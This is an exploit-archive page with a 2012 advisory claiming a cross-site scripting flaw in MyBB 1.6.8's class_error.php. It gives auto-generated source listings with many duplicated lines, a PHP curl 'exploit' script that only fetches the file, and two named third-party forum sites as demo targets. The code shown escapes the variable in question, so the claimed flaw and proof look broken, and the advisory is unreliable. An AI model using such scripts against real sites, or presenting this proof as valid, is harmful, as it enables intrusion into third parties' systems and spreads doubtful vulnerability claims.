what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB 1.6.8 Cross Site Scripting

MyBB 1.6.8 Cross Site Scripting
Posted Oct 15, 2012
Authored by 3xpl0!t3r

MyBB version 1.6.8 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 387f3e3cf1de1268c3b4fdd95c8e11ada2eca8551092a1a0a5d18e7dd1c16934

MyBB 1.6.8 Cross Site Scripting

Change Mirror Download
#########################################################
Exploit Title : Mybb 1.6.8 Cross Site Scripting
Author : 3xpl0!t3r
Discovered By : Sec-Advisor.Org
Date : 12 Oct 2012
Home : http://Sec-Advisor.Org
#########################################################
Source : http://www.mybb.com/download/latest

file : /inc/class_error.php

510: echo echo <<<EOF <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>{$mybb->settings['bbname']} - Internal Error</title> <style type="text/css"> body { background: #efefef; color: #000; font-family: Verdana; font-size: 12px; text-align: center; line-height: 1.4; } a:link { color: #026CB1; text-decoration: none; } a:visited { color: #026CB1; text-decoration: none; } a:hover, a:active { color: #000; text-decoration: underline; } #container { width: 600px; padding: 20px; background: #fff; border: 1px solid #e4e4e4; margin: 100px auto; text-align: left; } h1 { margin: 0; background: url({$_SERVER['PHP_SELF']}?action=mybb_logo) no-repeat; height: 82px; width: 248px; } #content { border: 1px solid #B60101; background: #fff; } h2 { font-size: 12px; padding: 4px; background: #B60101; color: #fff; margin: 0; } .invisible { display: none; } #error { padding: 6px; } #footer { font-size: 11px; border-top: 1px solid #ccc; padding-top: 10px; } dt { font-weight: bold; } </style> </head> <body> <div id="container"> <div id="logo"> <h1><a href="http://mybb.com/" title="MyBulletinBoard"><span class="invisible">MyBB</span></a></h1> </div> <div id="content"> <h2>{$title}</h2> <div id="error"> {$error_message} <p id="footer">Please contact the <a href="http://mybb.com">MyBB Group</a> for support.</p> </div> </div> </div> </body> </html> EOF;
508: $_SERVER['PHP_SELF'] = htmlspecialchars_uni($_SERVER['PHP_SELF']);
406: $title = "MyBB Internal Error"; // if($type == MYBB_SQL) else ,
391: $title = "MyBB SQL Error"; // if($type == MYBB_SQL),
489: $error_message .= "</dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
487: $error_message .= "<dt>Backtrace:</dt><dd>{$backtrace}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($backtrace && !in_array($type, $this->mybb_error_types)),
481: $error_message .= "<dt>Code:</dt><dd>{$code}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)),
415: $error_message .= "<dt>Location:</dt><dd>File: {$file}<br />Line: {$line}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)),
412: $error_message .= "<dt>Error Message:</dt>\n<dd>{$message}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
411: $error_message .= "<dt>Error Type:</dt>\n<dd>{$this->error_types[$type]} ($type)</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
410: $error_message .= "<dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
407: $error_message = "<p>MyBB has experienced an internal error and cannot continue.</p>"; // if($type == MYBB_SQL) else ,
401: $error_message .= "</dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
399: $error_message .= "<dt>Query:</dt>\n<dd>{$message['query']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($message != ""),
396: $error_message .= "<dt>SQL Error:</dt>\n<dd>{$message['error_no']} - {$message['error']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
395: $error_message .= "<dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
478: $code = nl2br($code); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists) else ,
474: $code = $parser->mycode_parse_php ($code, true); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists),
451: $code .= $line + 3 . ". " . $code_pre[$line+2]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),
446: $code .= $line + 2 . ". " . $code_pre[$line+1]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),

requires:

502: if(!headers_sent() && !defined("IN_INSTALL") && !defined("IN_UPGRADE"))
380: ⇓ function output_error($type, $message, $file, $line)

#########################################################
vulnerability concept:

$_GET + echo() = Cross Site Scripting

vulnerability description:

An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.

#########################################################
Exploit :

#!/usr/bin/php -f
<?php
#
# class_error.php curl exploit
#

//
// HTTP SERVER,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/mybb/inc/class_error.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 5);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

#########################################################
D3m0 :

www.lurkerlounge.com/forums/inc/class_error.php

http://www.spyrax.net/forums/inc/class_error.php

#########################################################
We are : 3xpl0!t3r | IR313 | ICA
Tnx Of : Nafsh


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close